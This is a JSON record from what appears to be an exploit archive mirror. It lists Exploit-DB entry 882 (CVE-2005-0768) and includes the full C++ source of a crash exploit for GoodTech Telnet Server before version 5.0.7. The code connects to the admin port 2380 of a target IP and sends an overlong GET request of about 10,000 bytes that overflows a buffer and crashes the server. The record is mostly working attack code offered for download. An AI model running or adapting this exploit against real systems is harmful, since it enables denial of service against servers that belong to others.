{"exploit":{"id":"EDB-882","name":"GoodTech Telnet Server < 5.0.7 - Buffer Overflow Crash","description":"GoodTech Telnet Server < 5.0.7 - Buffer Overflow Crash","cves":["CVE-2005-0768"],"author":"Komrade","published":"2005-03-15","platform":"windows","type":"dos","language":"C++","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/882","path":"exploits/windows/dos/882.cpp","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-882.cpp","vulnerabilities":[{"id":"CVE-2005-0768","state":"PUBLISHED","title":null,"titleSource":null,"description":"Buffer overflow in the administration web server for GoodTech Telnet Server 4.0 and 5.0, and possibly all versions before 5.0.7, allows remote attackers to execute arbitrary code via a long string to port 2380.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2005-0768","cvss":{"version":"2.0","baseScore":10,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2005-0768"},"updatedAt":"2024-08-07T21:28:27.166Z","retrievedAt":"2026-11-26T12:13:12.757Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-882.png?v=2","url":"https://exploitbin.com/exploits/EDB-882","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-882/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-882/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"/******************************************************************************************\n\n\tGoodTech Telnet Server Buffer Overflow Crash POC\n\tcreated by Komrade\n\te-mail:\tunsecure(at)altervista(dot)org\n\tweb:\thttp://unsecure.altervista.org\n\n\tTested on GoodTech Telnet Server versions 4.0 - 5.0 (versions prior to 5.0.7)\n        on a Windows XP Professional sp2 operating system.\n\n\tThis exploit connects to the Administration server of GoodTech Telnet Server\n\t(default port 2380) and sends a very long string (10040 bytes).\n\tAfter the exploit is sent the Telnet Server will crash, trying to access\n\tto a bad memory address: 0xDEADCODE.\n\n\tUsage: gtscrash.exe \"IP address\"\n\n\tOptions:\n\t\"IP address\"\tThe IP address of the computer running GoodTech Telnet Server\n\n*******************************************************************************************/\n\n#include <windows.h>\n#include <winsock.h>\n#include <stdio.h>\n\nint main(int argc, char **argv)\n{\n\n\tSOCKET sock;\n\tstruct sockaddr_in sock_addr;\n\tWSADATA data;\n\tWORD p;\n\tp=MAKEWORD(2,0);\n\tWSAStartup(p,&data);\n\tint i, n, err;\n\tunsigned char *mex;\n\tchar risp[4096];\n\n\tprintf(\"------------------------------------------------------------------------------\\r\\n\");\n\tprintf(\"\\tGoodTech Telnet Server Buffer Overflow Crash POC\\r\\n\");\n\tprintf(\"\\t\\t\\tcreated by Komrade\\r\\n\\r\\n\");\n\n\tprintf(\"\\t\\te-mail: unsecure(at)altervista(dot)org\\r\\n\");\n\tprintf(\"\\t\\tweb: http://unsecure.altervista.org\\r\\n\");\n\tprintf(\"------------------------------------------------------------------------------\\r\\n\\r\\n\");\n\n\n\tif (argc < 2){\n\t\tprintf(\"Usage: gtscrash.exe \\\"IP address\\\"\\r\\n\\r\\n\");\n\t\tprintf(\"Options:\\r\\n\");\n\t\tprintf(\"IP address\\tThe IP address of the computer running GoodTech Telnet Server\\r\\n\");\n\t\texit(0);\n\t}\n\n\tmex =(unsigned char *) LocalAlloc(LMEM_FIXED, 12000);\n\n\tsock = socket(AF_INET, SOCK_STREAM, 0);\n\tsock_addr.sin_family=PF_INET;\n\tsock_addr.sin_port=htons(2380); /* Administration web server port */\n\tsock_addr.sin_addr.s_addr= inet_addr(argv[1]);\n\n\terr = connect(sock,(struct sockaddr*)&sock_addr,sizeof(struct sockaddr));\n\tif(err<0){\n\t\tprintf(\"Unable to connect() to %s\\n\", argv[1]);\n\t\texit(-1);\n\t}\n\n\tstrcpy (mex, \"GET /\");\n\n\tfor(i = strlen(mex); i < 10032; i++)\n\t\tmex[i]= 'a';\n\tmex[i]=0;\n\n\tstrcat(mex, \"\\xDE\\xC0\\xAD\\xDE\"); /* Invalid IP address */\n\tstrcat(mex, \"\\r\\n\\r\\n\");\n\n\tprintf(\"Sending %d bytes.....\\n\\n\", strlen(mex));\n\tn=send(sock, mex , strlen(mex), 0);\n\n\tn=recv(sock, risp, sizeof(risp), 0);\n\tif (n < 0)\n\t\tprintf(\"GoodTech Telnet Server succesfully crashed!!\\n\");\n\telse{\n\t\trisp[n]=0;\n\t\tprintf(\"%s\\n\", risp);\n\t}\n\n\tclosesocket(sock);\n\tWSACleanup();\n\treturn 0;\n}\n\n// milw0rm.com [2005-03-15]","sha256":"d63859844f7053dee99e430b8be674ae625c9c1bc41f2d6e4c9771181ecf74a9","bytes":2641,"fetchedAt":"2026-11-26T12:13:12.548Z","encoding":"utf-8 (display only; download retains original bytes)"}